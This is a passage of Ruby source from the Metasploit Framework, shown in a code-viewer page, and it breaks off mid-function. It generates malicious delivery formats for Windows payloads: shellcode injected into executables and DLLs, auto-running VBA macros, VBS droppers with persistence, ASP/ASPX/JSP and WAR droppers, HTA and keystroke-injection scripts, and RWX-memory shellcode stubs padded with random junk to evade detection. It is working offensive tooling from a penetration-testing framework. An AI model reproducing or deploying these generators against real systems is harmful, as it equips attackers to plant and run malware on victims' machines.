Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/lib/msf/util/exe/windows/common.rb
36043 views
1
module Msf::Util::EXE::Windows::Common
2
include Msf::Util::EXE::Common
3
4
def self.included(base)
5
base.extend(ClassMethods)
6
end
7
8
module ClassMethods
9
# exe_sub_method
10
#
11
# @param code [String]
12
# @param opts [Hash]
13
# @option opts [Symbol] :exe_type
14
# @option opts [String] :service_exe
15
# @option opts [Boolean] :sub_method
16
# @return [String]
17
def exe_sub_method(code,opts ={})
18
pe = self.get_file_contents(opts[:template])
19
20
case opts[:exe_type]
21
when :service_exe
22
opts[:exe_max_sub_length] ||= 8192
23
name = opts[:servicename]
24
if name
25
bo = pe.index('SERVICENAME')
26
unless bo
27
raise RuntimeError, "Invalid PE Service EXE template: missing \"SERVICENAME\" tag"
28
end
29
pe[bo, 11] = [name].pack('a11')
30
end
31
pe[136, 4] = [rand(0x100000000)].pack('V') unless opts[:sub_method]
32
when :dll
33
opts[:exe_max_sub_length] ||= 4096
34
when :exe_sub
35
opts[:exe_max_sub_length] ||= 4096
36
end
37
38
bo = self.find_payload_tag(pe, "Invalid PE EXE subst template: missing \"PAYLOAD:\" tag")
39
40
if code.length <= opts.fetch(:exe_max_sub_length)
41
pe[bo, code.length] = [code].pack("a*")
42
else
43
raise RuntimeError, "The EXE generator now has a max size of " +
44
"#{opts[:exe_max_sub_length]} bytes, please fix the calling module"
45
end
46
47
if opts[:exe_type] == :dll
48
mt = pe.index('MUTEX!!!')
49
pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
50
%w{ Local\Semaphore:Default Local\Event:Default }.each do |name|
51
offset = pe.index(name)
52
pe[offset,26] = "Local\\#{Rex::Text.rand_text_alphanumeric(20)}" if offset
53
end
54
55
if opts[:dll_exitprocess]
56
exit_thread = "\x45\x78\x69\x74\x54\x68\x72\x65\x61\x64\x00"
57
exit_process = "\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73"
58
et_index = pe.index(exit_thread)
59
if et_index
60
pe[et_index,exit_process.length] = exit_process
61
else
62
raise RuntimeError, "Unable to find and replace ExitThread in the DLL."
63
end
64
end
65
end
66
67
pe
68
end
69
70
# Clears the DYNAMIC_BASE flag for a Windows executable
71
#
72
# @param exe [String] The raw executable to be modified by the method
73
# @param pe [Rex::PeParsey::Pe] Use Rex::PeParsey::Pe.new_from_file
74
# @return [String] the modified executable
75
def clear_dynamic_base(exe, pe)
76
c_bits = ("%32d" %pe.hdr.opt.DllCharacteristics.to_s(2)).split('').map { |e| e.to_i }.reverse
77
c_bits[6] = 0 # DYNAMIC_BASE
78
new_dllcharacteristics = c_bits.reverse.join.to_i(2)
79
80
# PE Header Pointer offset = 60d
81
# SizeOfOptionalHeader offset = 94h
82
dll_ch_offset = exe[60, 4].unpack('h4')[0].reverse.hex + 94
83
exe[dll_ch_offset, 2] = [new_dllcharacteristics].pack("v")
84
exe
85
end
86
87
# self.set_template_default_winpe_dll
88
#
89
# Set the default winpe DLL template. It will select the template based on the parameters provided including the size
90
# architecture and an optional flavor. See data/templates/src/pe for template source code and build tools.
91
#
92
# @param opts [Hash]
93
# @param arch The architecture, as one the predefined constants.
94
# @param size [Integer] The size of the payload.
95
# @param flavor [Nil,String] An optional DLL flavor, one of 'mixed_mode' or 'dccw_gdiplus'
96
def set_template_default_winpe_dll(opts, arch, size, flavor: nil)
97
return if opts[:template].present?
98
99
# dynamic size upgrading is only available when MSF selects the template because there's currently no way to
100
# determine the amount of space that is available in the template provided by the user so it's assumed to be 4KiB
101
match = {4096 => '', 262144 => '.256kib'}.find { |k,v| size <= k }
102
if match
103
opts[:exe_max_sub_length] = match.first
104
size_suffix = match.last
105
end
106
107
arch = {ARCH_X86 => 'x86', ARCH_X64 => 'x64'}.fetch(arch, nil)
108
raise ArgumentError, 'The specified arch is not supported, no DLL templates are available for it.' if arch.nil?
109
110
if flavor.present?
111
unless %w[mixed_mode dccw_gdiplus].include?(flavor)
112
raise ArgumentError, 'The specified flavor is not supported, no DLL templates are available for it.'
113
end
114
115
flavor = '_' + flavor
116
end
117
118
set_template_default(opts, "template_#{arch}_windows#{flavor}#{size_suffix}.dll")
119
end
120
121
122
# Wraps an executable inside a Windows .msi file for auto execution when run
123
#
124
# @param framework [Msf::Framework] The framework of you want to use
125
# @param exe [String]
126
# @param opts [Hash]
127
# @option opts [String] :msi_template_path
128
# @option opts [String] :msi_template
129
# @return [String]
130
def to_exe_msi(framework, exe, opts = {})
131
if opts[:uac]
132
opts[:msi_template] ||= "template_windows.msi"
133
else
134
opts[:msi_template] ||= "template_nouac_windows.msi"
135
end
136
replace_msi_buffer(exe, opts)
137
end
138
139
#self.replace_msi_buffer
140
#
141
# @param pe [String]
142
# @param opts [String]
143
# @option [String] :msi_template
144
# @option [String] :msi_template_path
145
# @return [String]
146
def replace_msi_buffer(pe, opts)
147
opts[:msi_template_path] ||= File.join(Msf::Config.data_directory, "templates")
148
149
if opts[:msi_template].include?(File::SEPARATOR)
150
template = opts[:msi_template]
151
else
152
template = File.join(opts[:msi_template_path], opts[:msi_template])
153
end
154
155
msi = self.get_file_contents(template)
156
157
section_size = 2**(msi[30..31].unpack('v')[0])
158
159
# This table is one of the few cases where signed values are needed
160
sector_allocation_table = msi[section_size..section_size*2].unpack('l<*')
161
162
buffer_chain = []
163
164
# This is closely coupled with the template provided and ideally
165
# would be calculated from the dir stream?
166
current_secid = 5
167
168
until current_secid == -2
169
buffer_chain << current_secid
170
current_secid = sector_allocation_table[current_secid]
171
end
172
173
buffer_size = buffer_chain.length * section_size
174
175
if pe.size > buffer_size
176
raise RuntimeError, "MSI Buffer is not large enough to hold the PE file"
177
end
178
179
pe_block_start = 0
180
pe_block_end = pe_block_start + section_size - 1
181
182
buffer_chain.each do |section|
183
block_start = section_size * (section + 1)
184
block_end = block_start + section_size - 1
185
pe_block = [pe[pe_block_start..pe_block_end]].pack("a#{section_size}")
186
msi[block_start..block_end] = pe_block
187
pe_block_start = pe_block_end + 1
188
pe_block_end += section_size
189
end
190
191
msi
192
end
193
194
# to_exe_vba
195
#
196
# @param exes [String]
197
def to_exe_vba(exes = '')
198
exe = exes.unpack('C*')
199
hash_sub = {}
200
idx = 0
201
maxbytes = 2000
202
var_base_idx = 0
203
var_base = Rex::Text.rand_text_alpha(5).capitalize
204
205
# First write the macro into the vba file
206
hash_sub[:var_magic] = Rex::Text.rand_text_alpha(10).capitalize
207
hash_sub[:var_fname] = var_base + (var_base_idx += 1).to_s
208
hash_sub[:var_fenvi] = var_base + (var_base_idx += 1).to_s
209
hash_sub[:var_fhand] = var_base + (var_base_idx += 1).to_s
210
hash_sub[:var_parag] = var_base + (var_base_idx += 1).to_s
211
hash_sub[:var_itemp] = var_base + (var_base_idx += 1).to_s
212
hash_sub[:var_btemp] = var_base + (var_base_idx += 1).to_s
213
hash_sub[:var_appnr] = var_base + (var_base_idx += 1).to_s
214
hash_sub[:var_index] = var_base + (var_base_idx += 1).to_s
215
hash_sub[:var_gotmagic] = var_base + (var_base_idx += 1).to_s
216
hash_sub[:var_farg] = var_base + (var_base_idx += 1).to_s
217
hash_sub[:var_stemp] = var_base + (var_base_idx += 1).to_s
218
hash_sub[:filename] = Rex::Text.rand_text_alpha(rand(8..15))
219
220
# Function 1 extracts the binary
221
hash_sub[:func_name1] = var_base + (var_base_idx += 1).to_s
222
223
# Function 2 executes the binary
224
hash_sub[:func_name2] = var_base + (var_base_idx + 1).to_s
225
226
hash_sub[:data] = ''
227
228
# Writing the bytes of the exe to the file
229
1.upto(exe.length) do |_pc|
230
while (c = exe[idx])
231
hash_sub[:data] << "&H#{('%.2x' % c).upcase}"
232
if idx > 1 && (idx % maxbytes) == 0
233
# When maxbytes are written make a new paragrpah
234
hash_sub[:data] << "\r\n"
235
end
236
idx += 1
237
end
238
end
239
240
read_replace_script_template('to_exe.vba.template', hash_sub)
241
end
242
243
# to_vba
244
#
245
# @param framework [Msf::Framework]
246
# @param code [String]
247
# @param opts [Hash] Unused
248
def to_vba(framework, code, opts = {})
249
hash_sub = {}
250
hash_sub[:var_myByte] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize
251
hash_sub[:var_myArray] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize
252
hash_sub[:var_rwxpage] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize
253
hash_sub[:var_res] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize
254
hash_sub[:var_offset] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize
255
hash_sub[:var_lpThreadAttributes] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize
256
hash_sub[:var_dwStackSize] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize
257
hash_sub[:var_lpStartAddress] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize
258
hash_sub[:var_lpParameter] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize
259
hash_sub[:var_dwCreationFlags] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize
260
hash_sub[:var_lpThreadID] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize
261
hash_sub[:var_lpAddr] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize
262
hash_sub[:var_lSize] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize
263
hash_sub[:var_flAllocationType] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize
264
hash_sub[:var_flProtect] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize
265
hash_sub[:var_lDest] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize
266
hash_sub[:var_Source] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize
267
hash_sub[:var_Length] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize
268
269
# put the shellcode bytes into an array
270
hash_sub[:bytes] = Rex::Text.to_vbapplication(code, hash_sub[:var_myArray])
271
272
read_replace_script_template('to_mem.vba.template', hash_sub)
273
end
274
275
# to_powershell_vba
276
#
277
# @param framework [Msf::Framework]
278
# @param arch [String]
279
# @param code [String]
280
#
281
def to_powershell_vba(framework, arch, code)
282
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
283
284
powershell = Rex::Powershell::Command.cmd_psh_payload(code,
285
arch,
286
template_path,
287
encode_final_payload: true,
288
remove_comspec: true,
289
method: 'reflection')
290
291
# Initialize rig and value names
292
rig = Rex::RandomIdentifier::Generator.new
293
rig.init_var(:sub_auto_open)
294
rig.init_var(:var_powershell)
295
296
hash_sub = rig.to_h
297
# VBA has a maximum of 24 line continuations
298
line_length = powershell.length / 24
299
vba_psh = '"' << powershell.scan(/.{1,#{line_length}}/).join("\" _\r\n& \"") << '"'
300
301
hash_sub[:powershell] = vba_psh
302
303
read_replace_script_template('to_powershell.vba.template', hash_sub)
304
end
305
306
307
# to_exe_vba
308
#
309
# @param exes [String]
310
# @param opts [Hash]
311
# @option opts [String] :delay
312
# @option opts [String] :persists
313
# @option opts [String] :exe_filename
314
def to_exe_vbs(exes = '', opts = {})
315
delay = opts[:delay] || 5
316
persist = opts[:persist] || false
317
318
hash_sub = {}
319
hash_sub[:exe_filename] = opts[:exe_filename] || Rex::Text.rand_text_alpha(rand(8..15)) << '.exe'
320
hash_sub[:base64_filename] = Rex::Text.rand_text_alpha(rand(8..15)) << '.b64'
321
hash_sub[:var_shellcode] = Rex::Text.rand_text_alpha(rand(8..15))
322
hash_sub[:var_fname] = Rex::Text.rand_text_alpha(rand(8..15))
323
hash_sub[:var_func] = Rex::Text.rand_text_alpha(rand(8..15))
324
hash_sub[:var_obj] = Rex::Text.rand_text_alpha(rand(8..15))
325
hash_sub[:var_shell] = Rex::Text.rand_text_alpha(rand(8..15))
326
hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8..15))
327
hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8..15))
328
hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8..15))
329
hash_sub[:base64_shellcode] = Rex::Text.encode_base64(exes)
330
hash_sub[:var_decodefunc] = Rex::Text.rand_text_alpha(rand(8..15))
331
hash_sub[:var_xml] = Rex::Text.rand_text_alpha(rand(8..15))
332
hash_sub[:var_xmldoc] = Rex::Text.rand_text_alpha(rand(8..15))
333
hash_sub[:var_decoded] = Rex::Text.rand_text_alpha(rand(8..15))
334
hash_sub[:var_adodbstream] = Rex::Text.rand_text_alpha(rand(8..15))
335
hash_sub[:var_decodebase64] = Rex::Text.rand_text_alpha(rand(8..15))
336
hash_sub[:init] = ''
337
338
if persist
339
hash_sub[:init] << "Do\r\n"
340
hash_sub[:init] << "#{hash_sub[:var_func]}\r\n"
341
hash_sub[:init] << "WScript.Sleep #{delay * 1000}\r\n"
342
hash_sub[:init] << "Loop\r\n"
343
else
344
hash_sub[:init] << "#{hash_sub[:var_func]}\r\n"
345
end
346
347
read_replace_script_template('to_exe.vbs.template', hash_sub)
348
end
349
350
# to_exe_asp
351
#
352
# @param exes [String]
353
# @param opts [Hash] Unused
354
def to_exe_asp(exes = '', opts = {})
355
hash_sub = {}
356
hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(4..7)) # repeated a large number of times, so keep this one small
357
hash_sub[:var_fname] = Rex::Text.rand_text_alpha(rand(8..15))
358
hash_sub[:var_func] = Rex::Text.rand_text_alpha(rand(8..15))
359
hash_sub[:var_stream] = Rex::Text.rand_text_alpha(rand(8..15))
360
hash_sub[:var_obj] = Rex::Text.rand_text_alpha(rand(8..15))
361
hash_sub[:var_shell] = Rex::Text.rand_text_alpha(rand(8..15))
362
hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8..15))
363
hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8..15))
364
hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8..15))
365
hash_sub[:var_shellcode] = Rex::Text.to_vbscript(exes, hash_sub[:var_bytes])
366
read_replace_script_template('to_exe.asp.template', hash_sub)
367
end
368
369
# self.to_exe_aspx
370
#
371
# @param exes [String]
372
# @option opts [Hash]
373
def to_exe_aspx(exes = '', opts = {})
374
hash_sub = {}
375
hash_sub[:var_file] = Rex::Text.rand_text_alpha(rand(8..15))
376
hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8..15))
377
hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8..15))
378
hash_sub[:var_filename] = Rex::Text.rand_text_alpha(rand(8..15))
379
hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8..15))
380
hash_sub[:var_iterator] = Rex::Text.rand_text_alpha(rand(8..15))
381
hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8..15))
382
hash_sub[:shellcode] = Rex::Text.to_csharp(exes, 100, hash_sub[:var_file])
383
read_replace_script_template('to_exe.aspx.template', hash_sub)
384
end
385
386
def to_mem_aspx(framework, code, exeopts = {})
387
# Initialize rig and value names
388
rig = Rex::RandomIdentifier::Generator.new
389
rig.init_var(:var_funcAddr)
390
rig.init_var(:var_hThread)
391
rig.init_var(:var_pInfo)
392
rig.init_var(:var_threadId)
393
rig.init_var(:var_bytearray)
394
395
hash_sub = rig.to_h
396
hash_sub[:shellcode] = Rex::Text.to_csharp(code, 100, rig[:var_bytearray])
397
398
read_replace_script_template('to_mem.aspx.template', hash_sub)
399
end
400
401
def to_win32pe_psh_net(framework, code, opts = {})
402
Rex::Powershell::Payload.to_win32pe_psh_net(Rex::Powershell::Templates::TEMPLATE_DIR, code)
403
end
404
405
def to_win32pe_psh(framework, code, opts = {})
406
Rex::Powershell::Payload.to_win32pe_psh(Rex::Powershell::Templates::TEMPLATE_DIR, code)
407
end
408
409
#
410
# Reflection technique prevents the temporary .cs file being created for the .NET compiler
411
# Tweaked by shellster
412
# Originally from PowerSploit
413
#
414
def to_win32pe_psh_reflection(framework, code, opts = {})
415
Rex::Powershell::Payload.to_win32pe_psh_reflection(Rex::Powershell::Templates::TEMPLATE_DIR, code)
416
end
417
418
def to_powershell_command(framework, arch, code)
419
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
420
Rex::Powershell::Command.cmd_psh_payload(code,
421
arch,
422
template_path,
423
encode_final_payload: true,
424
method: 'reflection')
425
end
426
427
def to_powershell_ducky_script(framework, arch, code)
428
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
429
powershell = Rex::Powershell::Command.cmd_psh_payload(code,
430
arch,
431
template_path,
432
encode_final_payload: true,
433
method: 'reflection')
434
replacers = {}
435
replacers[:var_payload] = powershell
436
read_replace_script_template('to_powershell.ducky_script.template', replacers)
437
end
438
439
def to_powershell_hta(framework, arch, code)
440
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
441
442
powershell = Rex::Powershell::Command.cmd_psh_payload(code,
443
arch,
444
template_path,
445
encode_final_payload: true,
446
remove_comspec: true,
447
method: 'reflection')
448
449
# Initialize rig and value names
450
rig = Rex::RandomIdentifier::Generator.new
451
rig.init_var(:var_shell)
452
rig.init_var(:var_fso)
453
454
hash_sub = rig.to_h
455
hash_sub[:powershell] = powershell
456
457
read_replace_script_template('to_powershell.hta.template', hash_sub)
458
end
459
460
def to_jsp(exe)
461
hash_sub = {}
462
hash_sub[:var_payload] = Rex::Text.rand_text_alpha(rand(8..15))
463
hash_sub[:var_exepath] = Rex::Text.rand_text_alpha(rand(8..15))
464
hash_sub[:var_outputstream] = Rex::Text.rand_text_alpha(rand(8..15))
465
hash_sub[:var_payloadlength] = Rex::Text.rand_text_alpha(rand(8..15))
466
hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(8..15))
467
hash_sub[:var_counter] = Rex::Text.rand_text_alpha(rand(8..15))
468
hash_sub[:var_exe] = Rex::Text.rand_text_alpha(rand(8..15))
469
hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8..15))
470
hash_sub[:var_fperm] = Rex::Text.rand_text_alpha(rand(8..15))
471
hash_sub[:var_fdel] = Rex::Text.rand_text_alpha(rand(8..15))
472
hash_sub[:var_exepatharray] = Rex::Text.rand_text_alpha(rand(8..15))
473
474
payload_hex = exe.unpack('H*')[0]
475
hash_sub[:payload] = payload_hex
476
477
read_replace_script_template('to_exe.jsp.template', hash_sub)
478
end
479
480
# Creates a Web Archive (WAR) file containing a jsp page and hexdump of a
481
# payload. The jsp page converts the hexdump back to a normal binary file
482
# and places it in the temp directory. The payload file is then executed.
483
#
484
# @see to_war
485
# @param exe [String] Executable to drop and run.
486
# @param opts (see to_war)
487
# @option opts (see to_war)
488
# @return (see to_war)
489
def to_jsp_war(exe, opts = {})
490
template = to_jsp(exe)
491
to_war(template, opts)
492
end
493
494
def to_win32pe_vbs(framework, code, opts = {})
495
to_exe_vbs(to_win32pe(framework, code, opts), opts)
496
end
497
498
def to_win64pe_vbs(framework, code, opts = {})
499
to_exe_vbs(to_win64pe(framework, code, opts), opts)
500
end
501
502
# Creates a jar file that drops the provided +exe+ into a random file name
503
# in the system's temp dir and executes it.
504
#
505
# @see Msf::Payload::Java
506
#
507
# @return [Rex::Zip::Jar]
508
def to_jar(exe, opts = {})
509
spawn = opts[:spawn] || 2
510
exe_name = Rex::Text.rand_text_alpha(8) + '.exe'
511
zip = Rex::Zip::Jar.new
512
zip.add_sub('metasploit') if opts[:random]
513
paths = [
514
[ 'metasploit', 'Payload.class' ],
515
]
516
517
zip.add_file('metasploit/', '')
518
paths.each do |path_parts|
519
path = ['java', path_parts].flatten.join('/')
520
contents = ::MetasploitPayloads.read(path)
521
zip.add_file(path_parts.join('/'), contents)
522
end
523
524
zip.build_manifest main_class: 'metasploit.Payload'
525
config = "Spawn=#{spawn}\r\nExecutable=#{exe_name}\r\n"
526
zip.add_file('metasploit.dat', config)
527
zip.add_file(exe_name, exe)
528
529
zip
530
end
531
532
# Creates a .NET DLL which loads data into memory
533
# at a specified location with read/execute permissions
534
# - the data will be loaded at: base+0x2065
535
# - default max size is 0x8000 (32768)
536
# @param base [Integer] Default location set to base 0x12340000
537
# @param data [String]
538
# @param opts [Hash]
539
# @option [String] :template
540
# @option [String] :base_offset
541
# @option [String] :timestamp_offset
542
# @option [String] :text_offset
543
# @option [String] :pack
544
# @option [String] :uuid_offset
545
# @return [String]
546
def to_dotnetmem(base = 0x12340000, data = '', opts = {})
547
# Allow the user to specify their own DLL template
548
set_template_default(opts, 'dotnetmem.dll')
549
550
pe = get_file_contents(opts[:template])
551
552
# Configure the image base
553
base_offset = opts[:base_offset] || 180
554
pe[base_offset, 4] = [base].pack('V')
555
556
# Configure the TimeDateStamp
557
timestamp_offset = opts[:timestamp_offset] || 136
558
pe[timestamp_offset, 4] = [rand(0x100000000)].pack('V')
559
560
# XXX: Unfortunately we cant make this RWX only RX
561
# Mark this segment as read-execute AND writable
562
# pe[412,4] = [0xe0000020].pack("V")
563
564
# Write the data into the .text segment
565
text_offset = opts[:text_offset] || 0x1065
566
text_max = opts[:text_max] || 0x8000
567
pack = opts[:pack] || 'a32768'
568
pe[text_offset, text_max] = [data].pack(pack)
569
570
# Generic a randomized UUID
571
uuid_offset = opts[:uuid_offset] || 37656
572
pe[uuid_offset, 16] = Rex::Text.rand_text(16)
573
574
pe
575
end
576
577
# This wrapper is responsible for allocating RWX memory, copying the
578
# target code there, setting an exception handler that calls ExitProcess
579
# and finally executing the code.
580
def win32_rwx_exec(code)
581
stub_block = Rex::Payloads::Shuffle.from_graphml_file(
582
File.join(Msf::Config.install_root, 'data', 'shellcode', 'block_api.x86.graphml'),
583
arch: ARCH_X86,
584
name: 'api_call'
585
)
586
587
stub_exit = %^
588
; Input: EBP must be the address of 'api_call'.
589
; Output: None.
590
; Clobbers: EAX, EBX, (ESP will also be modified)
591
; Note: Execution is not expected to (successfully) continue past this block
592
593
exitfunk:
594
mov ebx, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitThread')} ; The EXITFUNK as specified by user...
595
push #{Rex::Text.block_api_hash('kernel32.dll', 'GetVersion')} ; hash( "kernel32.dll", "GetVersion" )
596
mov eax, ebp
597
call eax ; GetVersion(); (AL will = major version and AH will = minor version)
598
cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7
599
jl goodbye ; Then just call the exit function...
600
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
601
jne goodbye ;
602
mov ebx, #{Rex::Text.block_api_hash('ntdll.dll', 'RtlExitUserThread')} ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
603
goodbye: ; We now perform the actual call to the exit function
604
push byte 0 ; push the exit function parameter
605
push ebx ; push the hash of the exit function
606
call ebp ; call EXITFUNK( 0 );
607
^
608
609
stub_alloc = %^
610
cld ; Clear the direction flag.
611
call start ; Call start, this pushes the address of 'api_call' onto the stack.
612
delta: ;
613
#{stub_block}
614
start: ;
615
pop ebp ; Pop off the address of 'api_call' for calling later.
616
617
allocate_size:
618
mov esi, #{code.length}
619
620
allocate:
621
push byte 0x40 ; PAGE_EXECUTE_READWRITE
622
push 0x1000 ; MEM_COMMIT
623
push esi ; Push the length value of the wrapped code block
624
push byte 0 ; NULL as we dont care where the allocation is.
625
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} ; hash( "kernel32.dll", "VirtualAlloc" )
626
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
627
628
mov ebx, eax ; Store allocated address in ebx
629
mov edi, eax ; Prepare EDI with the new address
630
mov ecx, esi ; Prepare ECX with the length of the code
631
call get_payload
632
got_payload:
633
pop esi ; Prepare ESI with the source to copy
634
rep movsb ; Copy the payload to RWX memory
635
call set_handler ; Configure error handling
636
637
exitblock:
638
#{stub_exit}
639
set_handler:
640
xor eax,eax
641
push dword [fs:eax]
642
mov dword [fs:eax], esp
643
call ebx
644
jmp exitblock
645
^
646
647
stub_final = %(
648
get_payload:
649
call got_payload
650
payload:
651
; Append an arbitrary payload here
652
)
653
654
stub_alloc.gsub!('short', '')
655
stub_alloc.gsub!('byte', '')
656
657
wrapper = ''
658
# regs = %W{eax ebx ecx edx esi edi ebp}
659
660
cnt_jmp = 0
661
stub_alloc.each_line do |line|
662
line.gsub!(/;.*/, '')
663
line.strip!
664
next if line.empty?
665
666
wrapper << "nop\n" if rand(2) == 0
667
668
if rand(2) == 0
669
wrapper << "jmp autojump#{cnt_jmp}\n"
670
1.upto(rand(8..15)) do
671
wrapper << "db 0x#{'%.2x' % rand(0x100)}\n"
672
end
673
wrapper << "autojump#{cnt_jmp}:\n"
674
cnt_jmp += 1
675
end
676
wrapper << line + "\n"
677
end
678
679
wrapper << stub_final
680
681
enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded
682
enc.data + code
683
end
684
685
# This wrapper is responsible for allocating RWX memory, copying the
686
# target code there, setting an exception handler that calls ExitProcess,
687
# starting the code in a new thread, and finally jumping back to the next
688
# code to execute. block_offset is the offset of the next code from
689
# the start of this code
690
def win32_rwx_exec_thread(code, block_offset, which_offset = 'start')
691
stub_block = Rex::Payloads::Shuffle.from_graphml_file(
692
File.join(Msf::Config.install_root, 'data', 'shellcode', 'block_api.x86.graphml'),
693
arch: ARCH_X86,
694
name: 'api_call'
695
)
696
697
stub_exit = %^
698
; Input: EBP must be the address of 'api_call'.
699
; Output: None.
700
; Clobbers: EAX, EBX, (ESP will also be modified)
701
; Note: Execution is not expected to (successfully) continue past this block
702
703
exitfunk:
704
mov ebx, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitThread')} ; The EXITFUNK as specified by user...
705
push #{Rex::Text.block_api_hash('kernel32.dll', 'GetVersion')} ; hash( "kernel32.dll", "GetVersion" )
706
call ebp ; GetVersion(); (AL will = major version and AH will = minor version)
707
cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7
708
jl goodbye ; Then just call the exit function...
709
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
710
jne goodbye ;
711
mov ebx, #{Rex::Text.block_api_hash('ntdll.dll', 'RtlExitUserThread')} ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
712
goodbye: ; We now perform the actual call to the exit function
713
push byte 0 ; push the exit function parameter
714
push ebx ; push the hash of the exit function
715
call ebp ; call EXITFUNK( 0 );
716
^
717
718
stub_alloc = %^
719
pushad ; Save registers
720
cld ; Clear the direction flag.
721
call start ; Call start, this pushes the address of 'api_call' onto the stack.
722
delta: ;
723
#{stub_block}
724
start: ;
725
pop ebp ; Pop off the address of 'api_call' for calling later.
726
727
allocate_size:
728
mov esi,#{code.length}
729
730
allocate:
731
push byte 0x40 ; PAGE_EXECUTE_READWRITE
732
push 0x1000 ; MEM_COMMIT
733
push esi ; Push the length value of the wrapped code block
734
push byte 0 ; NULL as we dont care where the allocation is.
735
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} ; hash( "kernel32.dll", "VirtualAlloc" )
736
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
737
738
mov ebx, eax ; Store allocated address in ebx
739
mov edi, eax ; Prepare EDI with the new address
740
mov ecx, esi ; Prepare ECX with the length of the code
741
call get_payload
742
got_payload:
743
pop esi ; Prepare ESI with the source to copy
744
rep movsb ; Copy the payload to RWX memory
745
call set_handler ; Configure error handling
746
747
exitblock:
748
#{stub_exit}
749
750
set_handler:
751
xor eax,eax
752
; push dword [fs:eax]
753
; mov dword [fs:eax], esp
754
push eax ; LPDWORD lpThreadId (NULL)
755
push eax ; DWORD dwCreationFlags (0)
756
push eax ; LPVOID lpParameter (NULL)
757
push ebx ; LPTHREAD_START_ROUTINE lpStartAddress (payload)
758
push eax ; SIZE_T dwStackSize (0 for default)
759
push eax ; LPSECURITY_ATTRIBUTES lpThreadAttributes (NULL)
760
push #{Rex::Text.block_api_hash('kernel32.dll', 'CreateThread')} ; hash( "kernel32.dll", "CreateThread" )
761
call ebp ; Spawn payload thread
762
763
pop eax ; Skip
764
; pop eax ; Skip
765
pop eax ; Skip
766
popad ; Get our registers back
767
; sub esp, 44 ; Move stack pointer back past the handler
768
^
769
770
stub_final = %(
771
get_payload:
772
call got_payload
773
payload:
774
; Append an arbitrary payload here
775
)
776
777
stub_alloc.gsub!('short', '')
778
stub_alloc.gsub!('byte', '')
779
780
wrapper = ''
781
# regs = %W{eax ebx ecx edx esi edi ebp}
782
783
cnt_jmp = 0
784
cnt_nop = 64
785
786
stub_alloc.each_line do |line|
787
line.gsub!(/;.*/, '')
788
line.strip!
789
next if line.empty?
790
791
if cnt_nop > 0 && rand(4) == 0
792
wrapper << "nop\n"
793
cnt_nop -= 1
794
end
795
796
if cnt_nop > 0 && rand(16) == 0
797
cnt_nop -= 2
798
cnt_jmp += 1
799
800
wrapper << "jmp autojump#{cnt_jmp}\n"
801
1.upto(rand(1..8)) do
802
wrapper << "db 0x#{'%.2x' % rand(0x100)}\n"
803
cnt_nop -= 1
804
end
805
wrapper << "autojump#{cnt_jmp}:\n"
806
end
807
wrapper << line + "\n"
808
end
809
810
# @TODO: someone who knows how to use metasm please explain the right way to do this.
811
wrapper << "db 0xe9\n db 0xFF\n db 0xFF\n db 0xFF\n db 0xFF\n"
812
wrapper << stub_final
813
814
enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded
815
soff = enc.data.index("\xe9\xff\xff\xff\xff") + 1
816
res = enc.data + code
817
818
if which_offset == 'start'
819
res[soff, 4] = [block_offset - (soff + 4)].pack('V')
820
elsif which_offset == 'end'
821
res[soff, 4] = [res.length - (soff + 4) + block_offset].pack('V')
822
else
823
